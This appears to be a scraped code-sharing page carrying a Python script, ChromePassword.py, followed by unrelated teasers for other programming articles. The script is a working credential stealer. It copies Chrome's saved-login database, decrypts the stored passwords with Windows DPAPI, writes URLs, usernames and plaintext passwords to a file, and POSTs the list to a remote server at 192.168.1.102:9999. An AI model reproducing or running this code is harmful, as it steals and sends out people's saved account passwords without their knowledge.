# -*- coding: utf-8 -*-
2# @Author : pwf
3
4# @Date : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File : ChromePassword.py
8import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
18
19class ChromePassword:
21
22 def __init__(self):
23 self.passwordsList = []
24
25 def get_chrome_db(self):
26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28 if os.path.exists(_tmp_file):
29 os.remove(_tmp_file)
30 shutil.copyfile(_full_path, _tmp_file)
31 self.show_passwords(_tmp_file)
32
33 def show_passwords(self, db_file):
34 conn = sqlite3.connect(db_file)
35 _sql = '''select signon_realm,username_value,password_value from logins'''
36 for row in conn.execute(_sql):
37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38 # 密码解析后得到的是字节码,需要进行解码操作
39 _info = 'url: %-40s username: %-20s password: %s
' %
40 (row[0][:50], row[1], ret[1].decode())
41 self.passwordsList.append(_info)
42 conn.close()
43 os.remove(db_file)
44
45 def save_passwords(self):
46 with open('password.txt', 'w', encoding='utf-8') as f:
47 f.writelines(self.passwordsList)
48
49 def transfer_passwords(self):
50 try:
51 # 此处填写远端Flask对应的IP:PORT
52 requests.post('http://192.168.1.102:9999/index',
53 data=json.dumps(self.passwordsList))
54 except requests.exceptions.ConnectionError:
55 pass
56
57if __name__ == '__main__':
59 Main = ChromePassword()
60 Main.get_chrome_db()
61 Main.save_passwords()
62 Main.transfer_passwords()

ChromePassword的更多相关文章

随机推荐

  1. iterm 2快捷键

    快捷键 作用说明 command + f 搜索&查找,如果输入搜索内容后,按下 tab 键,就会 iTerm 自动帮选中搜索关键词,并且自动的帮我们复制到了剪贴板中.如果输入的是 shift+ ...

  2. idea连接docker实现一键部署

    一.修改配置文件,打开2375端口 [root@microservice ~]# vim /usr/lib/systemd/system/docker.service 在ExecStart=/usr/ ...

  3. SpringMvc的基础配置<一>

    SpringMVC学习 1.此篇博文是学习以下博文,并通过亲测得来:   1.1.网址:http://www.cnblogs.com/bigdataZJ/p/springmvc1.html 2.所用软 ...

  4. Linux 打包QT程序到未安装QT的其他Linux主机下运行

    昨天终于改好了一个开源但是用起来有问题的串口调试助手,想把它打包一下以后在其他电脑上也可以用. 找了网上的一个教程打包后,在本机上可以正常使用,但是移植到另一台上就出现缺少xcb的提示. 上网搜资料倒 ...

  5. jstl与EL表达式

    一·el表达式介绍 EL 全名为Expression Language EL 语法很简单,它最大的特点就是使用上很方便.接下来介绍EL主要的语法结构: ${sessionScope.user.sex} ...

  6. java爬取并下载酷狗TOP500歌曲

    是这样的,之前买车送的垃圾记录仪不能用了,这两天狠心买了好点的记录仪,带导航.音乐.蓝牙.4G等功能,寻思,既然有这些功能就利用起来,用4G听歌有点奢侈,就准备去酷狗下点歌听,居然都是需要办会员才能下 ...

  7. GET方法和POST方法的区别,Get方法到底可传递的字符串的最大长度是多少?

    GET方法和POST方法的区别,Get方法到底可传递的字符串的最大长度是多少?曾经人介绍,如果使用GET方式传输参数,URL的最大长度是256个字节,对此深信不疑. 但是最近看到一些超长的url,能够 ...

  8. Python 风格指南

    https://zh-google-styleguide.readthedocs.io/en/latest/google-python-styleguide/contents/ 目前个人遵循的基本规范 ...

  9. 题解 P2280 【[HNOI2003]激光炸弹】

    题目链接: https://www.luogu.org/problemnew/show/P2280 思路: 简单的二维前缀和,最后扫描一遍求 max(ans,f[i][j]+f[i-r][j-r]-f ...

  10. Java基础第二天--多态、接口

    多态 多态的概述 同一个对象,在不同时刻表现出来的不同形态 多态的前提和体现 有继承/实现关系 有方法重写关系 有父类引用指向子类对象 public class Animal { public voi ...